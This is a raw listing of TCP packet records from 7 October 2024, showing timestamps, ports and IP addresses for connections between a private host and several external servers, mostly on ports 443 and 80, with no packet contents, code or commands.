Oct 7, 2024 13:27:15.000603914 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.001106977 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.001118898 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.105618000 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.105684996 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.105758905 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.105793953 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.106074095 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.106081963 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.106134892 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.106473923 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.106564999 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.106609106 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.109472990 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.109519958 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.109647036 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.109798908 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.109812021 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.491610050 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.492289066 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.492316961 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.492780924 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.492786884 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.503468037 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.504049063 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.504076004 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.504647970 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.504653931 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.526416063 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.537331104 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.537353992 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.537933111 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.537939072 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.584033966 CEST	49951	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:15.587676048 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.588380098 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.588398933 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.589207888 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.589272976 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.589328051 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.589333057 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.589363098 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.589381933 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.589430094 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.589464903 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.589512110 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.595870972 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.595894098 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.595905066 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.595913887 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.602242947 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.602271080 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.602340937 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.602534056 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.602547884 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.605633974 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.605688095 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.605734110 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.605756998 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.605772018 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.605813026 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.605838060 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.632523060 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.632549047 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.632673025 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.632692099 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.632801056 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.632869959 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.632889032 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.632903099 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.632909060 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.636112928 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.636141062 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.636198044 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.636378050 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.636389971 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.689080000 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.689143896 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.689198971 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.689753056 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.689774036 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.689785004 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.689790964 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.692861080 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.692939997 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.692964077 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.693022966 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.693056107 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.693164110 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.693329096 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.693344116 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.693353891 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.693360090 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.694272041 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.694319010 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.694385052 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.694936991 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.694952011 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.696822882 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.696856022 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.697140932 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.697267056 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.697283030 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.766048908 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.767158985 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.767158985 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.767184973 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.767194986 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.899535894 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.899616957 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.899909019 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.899909019 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.899950027 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.899959087 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.903940916 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.903990030 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.904112101 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.904294014 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:15.904309034 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.241777897 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.242774963 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.242793083 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.243300915 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.243307114 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.285840034 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.286596060 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.286607981 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.287411928 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.287415981 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.334670067 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.335397005 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.335427046 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.335920095 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.335927963 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.342545986 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.343323946 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.343336105 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.343867064 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.343872070 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.372199059 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.372457027 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.372550964 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.383716106 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.383717060 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.383749008 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.383760929 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.386523962 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.386780977 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.386837959 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.387526035 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.387526035 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.387552023 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.387563944 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.390021086 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.390050888 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.390261889 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.391226053 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.391238928 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.391572952 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.391623974 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.391695976 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.392111063 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.392129898 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.435029984 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.435103893 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.435214996 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.435234070 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.435273886 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.436243057 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.436273098 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.436285973 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.436296940 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.443326950 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.443408966 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.443614006 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.444014072 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.444032907 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.444045067 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.444051027 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.569500923 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.571400881 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.571439981 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.572129011 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.572139025 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.668889046 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.669713974 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.669806957 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.799424887 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.799468040 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:16.799484968 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:16.799491882 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.054442883 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.055044889 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:17.055063963 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.055624962 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:17.055630922 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.059103966 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.060024023 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:17.060034990 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.060157061 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:17.060170889 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.171875000 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.172813892 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.172890902 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:17.172952890 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:17.172957897 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.172991991 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:17.172996998 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.339553118 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.339804888 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.339884996 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:17.339999914 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:17.340013027 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.340028048 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:17.340048075 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:17.499423027 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:17.499464035 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:17.499540091 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:17.499752045 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:17.499766111 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:17.969187975 CEST	49993	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:17.969229937 CEST	443	49993	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:17.969342947 CEST	49993	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:17.970597982 CEST	49993	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:17.970614910 CEST	443	49993	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:18.142268896 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:18.142513037 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:18.142546892 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:18.143582106 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:18.143646002 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:18.144648075 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:18.144715071 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:18.189363956 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:18.189387083 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:18.242573977 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:18.615483046 CEST	443	49993	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:18.615609884 CEST	49993	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:18.619229078 CEST	49993	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:18.619251013 CEST	443	49993	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:18.619611979 CEST	443	49993	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:18.660444975 CEST	49993	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:18.677800894 CEST	49993	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:18.723403931 CEST	443	49993	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:18.884284973 CEST	443	49993	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:18.884458065 CEST	443	49993	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:18.884598017 CEST	49993	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:18.890005112 CEST	49993	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:18.890026093 CEST	443	49993	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:18.890093088 CEST	49993	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:18.890099049 CEST	443	49993	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:18.936150074 CEST	49997	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:18.936182022 CEST	443	49997	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:18.936243057 CEST	49997	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:18.936614037 CEST	49997	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:18.936625004 CEST	443	49997	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:19.282332897 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:19.282515049 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:19.283375025 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:19.283421993 CEST	443	49998	23.1.237.91	192.168.2.5
Oct 7, 2024 13:27:19.283533096 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:19.283828974 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:19.283843994 CEST	443	49998	23.1.237.91	192.168.2.5
Oct 7, 2024 13:27:19.287205935 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 7, 2024 13:27:19.287261009 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 7, 2024 13:27:19.592381954 CEST	443	49997	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:19.592494965 CEST	49997	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:19.596200943 CEST	49997	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:19.596211910 CEST	443	49997	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:19.596451044 CEST	443	49997	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:19.599080086 CEST	49997	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:19.643403053 CEST	443	49997	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:19.873255968 CEST	443	49997	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:19.873315096 CEST	443	49997	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:19.873383045 CEST	49997	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:19.875149965 CEST	443	49998	23.1.237.91	192.168.2.5
Oct 7, 2024 13:27:19.875224113 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:19.880944014 CEST	49997	443	192.168.2.5	184.28.90.27
Oct 7, 2024 13:27:19.880971909 CEST	443	49997	184.28.90.27	192.168.2.5
Oct 7, 2024 13:27:19.926557064 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:19.926603079 CEST	443	49998	23.1.237.91	192.168.2.5
Oct 7, 2024 13:27:19.927638054 CEST	443	49998	23.1.237.91	192.168.2.5
Oct 7, 2024 13:27:19.927733898 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:19.929647923 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:19.929716110 CEST	443	49998	23.1.237.91	192.168.2.5
Oct 7, 2024 13:27:19.930043936 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:19.930051088 CEST	443	49998	23.1.237.91	192.168.2.5
Oct 7, 2024 13:27:20.193077087 CEST	443	49998	23.1.237.91	192.168.2.5
Oct 7, 2024 13:27:20.193137884 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:20.193676949 CEST	443	49998	23.1.237.91	192.168.2.5
Oct 7, 2024 13:27:20.193728924 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:20.193804979 CEST	443	49998	23.1.237.91	192.168.2.5
Oct 7, 2024 13:27:20.193856001 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:20.596350908 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:20.596676111 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:20.602149963 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:20.602454901 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:20.602535009 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:20.603820086 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:20.609452963 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.293797016 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.293812037 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.293824911 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.293881893 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.293884039 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.293893099 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.293905973 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.293917894 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.293921947 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.293930054 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.293941021 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.293970108 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.294014931 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.294068098 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.294107914 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.298758030 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.298770905 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.298810959 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.298841000 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.418446064 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.418467045 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.418478966 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.418524027 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.418524981 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.418536901 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.418576956 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.418589115 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.418888092 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.418900967 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.418916941 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.418936968 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.418966055 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.419348001 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.419359922 CEST	80	50003	185.215.113.103	192.168.2.5
